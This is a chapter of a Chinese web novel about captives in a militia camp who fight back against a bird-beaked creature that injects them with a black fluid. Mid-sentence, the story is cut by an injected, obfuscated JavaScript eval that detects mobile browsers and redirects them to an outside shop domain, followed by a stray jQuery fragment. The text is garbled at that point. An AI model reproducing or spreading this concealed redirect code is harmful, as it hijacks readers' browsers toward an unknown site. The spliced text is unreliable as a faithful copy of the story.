趁着鸟嘴医生去给爆炸头收尸,其他人的注意力又齐齐落在白皮肤女孩身上时,陈佰琳悄悄溜到立柱后。
她紧张得心脏变成了麻雀,仿佛一张嘴,它就会从喉头跳出来。眼前的人不知道能不能相信,她风声鹤唳,只能孤注一掷。
陈佰琳将疑问抛出去,歌啸的声音同样压得很低:“是的,我收到了求救信息。你对这里的情况有多清楚?其他人怎么样?他们的目的又是什么?”
在听到母语的一瞬间,陈佰琳紧紧地闭了闭眼,而后认真地盯着她。又看到她身上挂满固定好的武器时,嘴唇也僵直地抿紧,确定说话不再发抖后,才尽可能快地将自己所知悉数告知:“屠冶教授和保护我们的行动队队长已经接受了注射,现在不知道在哪儿。在这之前,宗教武装还杀了我们四个人。
“我只知道去厕所和来这里的路。守卫很多,他们从不主动交流,我也没见过除了守卫的其他人。副队能今天白天告诉我,她听到一个男人发号施令的声音,”陈佰琳方向感很好,指向一个方向,“离这里不远,大概隔三个帐篷。外面的骚乱是你制造的吗?”
“大概率是。”歌啸抓住她的手,紧紧握了握,这给了陈佰琳相当的安心和勇气。她咬牙问道:“有什么我能做的吗?”
没有接受过注射的人和接受过注射之人的区别……鸟嘴医生的态度是不同的。
歌啸目光落在露出一截衣角,在柱子另一边对女孩施行恐吓的鸟嘴怪物身上,顷刻间想出一条粗暴的战术计划。她轻声问:“你怕死吗?”
韩苦在营地内躲得左支右绌。
屠冶的情况变得更加严重了,几天前,他第一次遇到屠冶教授时,她尚还有意识,能够绘给他求救的信号。随着时间推移,现在,低剂量混合解毒剂的营养液已经不能够维持她的清醒了。
韩苦在心中啐自己一口又在多管闲事,同时脚步生风,催动异能,隐匿着向鸟嘴医生的大帐移动。
指挥官阿塔曼就在他隔壁,韩苦心里打怵。
在营地自在如风地偷了几天粮食的小老鼠很有几分单子,但并不代表不很害怕营地的主人捉住他。和阿塔曼一起出动,下属们与有荣焉,日常吹捧阿塔曼的“丰功伟绩”。这位长官不仅有强健的体魄和精妙的格斗技巧、成熟的作战体系知识,还饱受祭司信任,更重要的是,他有超强的雷系异能,据说能够轻松将大象一击毙命。
更有甚者,吹嘘营地内的灯泡都是因为有阿塔曼维系才能够保持常亮。韩苦隐匿能力不带任何攻击或自保的附加值,他小心翼翼,生怕五雷轰顶。
阿塔曼正侧耳倾听副官汇报的消息。
“六名‘塔克剌’被爆头,袭击者潜伏在远处的风蚀岩后,我已经派了其他塔克剌前去,带回来一辆破车。塔克剌手指头一碰,那个车就散架了。至于营地内,除了主帐、武器帐和‘呼格’的帐篷已经都查了一遍,但呼格正在进行实验,这个时候都不便进去,您看……”
副官是个特别矮小的侏儒,在阿塔曼身旁菟丝花一样柔弱。
阿塔曼眉心三道深深的川字纹,他点头,顷刻间已经抬步:“先去看看再说。”
韩苦偷听到墙角,心里嘴里一起发苦:怎么这么倒霉!偏偏目的地还一样!
呼格高大的鸟嘴影子依然映照在帐篷上,它兴奋不已,对着女孩“翩翩起舞”,同时鸟嘴大张,鸣叫着最难听的配乐,简直是重金属风格的。
在场其他人都不由自主捂住耳朵。
舞蹈暴露了长袍内部鸟嘴怪物的身体,所有鸟类躯体都自人体中生长而出,左手和右腿长出鸟爪,而右手和左腿还保持着人类的模样,胸口完全被毛,尾巴不长不短地垂藏在袍内。
歌啸把左腰上的战术短刀塞给陈佰琳,她小心翼翼起身,站到队伍最末排。
小女孩被吓坏了,呆呆地看着人不人鸟不鸟的怪物。
怪物蹦跳一番,女孩身上却没出现什么巨大的变化,它渐渐沉默下来,持着针筒的人手索然无味地向后摆动,叫她去副帐消毒等着。
女孩木木地走了。
就在下一个人将要上前一步时,陈佰琳上前一步,主动撩起衣袖,积极地说:“我先来吧。”
这一套其他人第一次挨针时都见过,身边同行者莫名其妙爆炸、一套跳大神似的招魂舞,他们挨针、见识得多了,恐惧就变成了压抑的麻木。饶是如此,见到居然有人主动上前,纷纷让开路,眼珠死死盯在她身上。
大针头依旧全污染无消毒地伸进黑色液体中搅动抽取。
帐外忽然传来声音威严沉稳的男声:“呼格,营地有其他势力闯入,你的帐篷里没有其他人吧?”
呼格仰头嘶鸣,烦躁的声音,它盯着陈佰琳,毫不在意阿塔曼的询问,对陈佰琳张开嘴,顿时,腐臭和鸟嘴内情状以视嗅听三觉4D立体地展示在陈佰琳面前。她猝不及防看到极为恐怖的一面,全身血液几欲逆流,冷汗涔涔爬满全身,身体轻微地抽搐。
那是……!
战术刀藏在她腹部,刀鞘也锋利,随着她的抽搐猛地戳她一下,陈佰琳立刻从深刻的惊吓中回神,她勉力维持着离职,主动偏开目光,忽视即将扎进自己血肉的针头,已经做好抽出战术刀的准备。
阿塔曼知晓鸟嘴医生的习惯,见情状和往常一样,带队离开:“那就是在武器帐。副官和我去开钥匙,剩下的人把守沿路,各就各位,决不能给敌方出逃的机会!”
歌啸伸出手,在陈佰琳余光能看到的位置虚空敲击柱子。
三、二、一!
巡逻的守卫转到了看不见这一侧帷布的视角!
陈佰琳骤然暴起,她双手牢牢抓住战术刀,狠狠冲着鸟嘴怪物的胸腹腔扎去!
韩苦游移着阴影溜进大帐,第一眼先看见几乎跳起来的陈佰琳,他面有不忍,移开目光,动作轻缓地飘向放置备用药品的地方,冷不防被突然蹿出来的一道黑影突脸,差点露出真身。
歌啸抽出手.枪,身体跃出一道抛物线,四枚子弹甩出锋利的直线,紧紧嵌钉向鸟嘴怪物的关键关节处。第五颗子弹是唯一没有打中它身体的一颗,它携高温精
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838225|211545||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
准打歪针头,粗尖的针尖变形歪扭,陈佰琳本应该直直撞上针尖的身体因此幸得顺利向前扑了一大步。战术刀格外锋利,顺利深入腹部羽毛,捅进气囊,进而剌出一长道足以开膛破肚的血迹!
爪腿关节被击中,鸟嘴怪物站不稳,鸟喙上正嵌着一颗子弹,连嘴巴也张不开了。它勃然大怒,冲陈佰琳点头,试图用尖长的鸟喙戳穿她的头颅,陈佰琳已经耗尽了全身所有力气,肾上腺激素消耗殆尽,她躲不开,只好试图蹲下,闭紧眼睛。
第二把战术刀擦着她的头顶飞过!
战术刀刚巧卡在鸟嘴怪物的喉管处,这让它关节灵活性大大降低,它发出一点破碎的鸣声,连连后退几步。
一长串的动作过去,歌啸这才刚刚落地。
有人在她脚下“嘶”了一声。
歌啸风声鹤唳,立刻持枪对准声音来源,而后发现,声音竟来自一块可以移动的半透明“阴影”。
阴影变换形态,已经从她脚下撤走,露出人形瘦削轮廓,韩苦叫苦不迭,只想着越过歌啸,重新发动能力,试图把药偷走了再说。
就在这时,外面传来阿塔曼的声音。
他没走!
阿塔曼沉声道:“呼格,发生什么事了?”
歌啸扬声,本地语音节在胸中滚过几十遍,从未如此掷地有声过:“都蹲下!”
屠冶恶心得想吐。
她浑身上下散发着机油味,全身呈过热状态,灰黑色皮肤表面呈金银两色金属纹路,五脏六腑都像被电子元件穿透,持续一周之久的麻木痛苦将她变成了不人不鬼的怪物。
屠冶对注射进她身体的东西略有猜测。
一定含有异丙醇和碱性氯化铜,可能还有甲苯之类的东西,使之呈现黑色的主要物质则是各种各样的电子元件,还有一种奇怪诡异的金属物质。
把这些东西注射进活生生的人体,下场无非是造就一个又一个横死的人类。
但她活了下来。暂时。
外面在阿塔曼的控制下,已经渐渐安静如初。
门外守卫石头墩子样蹲踞,她看着灯光的浅影,突然想起,每天这个时候,韩苦都该来了。
但他现在不在。
屠冶皱眉,脸上些许岁月刻下的纹路在灰黑色皮肤下显出奇诡的生命力,身上金属刻痕随着思考流淌着冷调的光。
韩苦是走了还是没来,外面发生了什么事?其他人还好吗?那个鸟嘴还有没有对别人下手?
越来越多的疑问钻进她难得清明顺畅的脑子旋转,她甚至获得了重新行动的力量,四肢逐渐有力,思维联结成链。屠冶霎时间清晰了目前的所有情况,她下意识地站起身,想要掀开帘子,石头墩子头也不回的粗声粗气骂她:“老实点!”
奇怪,陌生的文字瞬间变成可以交流的内容,屠冶立刻绕过从听到理解的过程,她来不及处理多出来的冗余信息,自动让其延后分析,全黑的瞳孔旋转着,想要和守卫交流,晓之以情,动之以理。
啪!
营地的灯光全都熄灭了。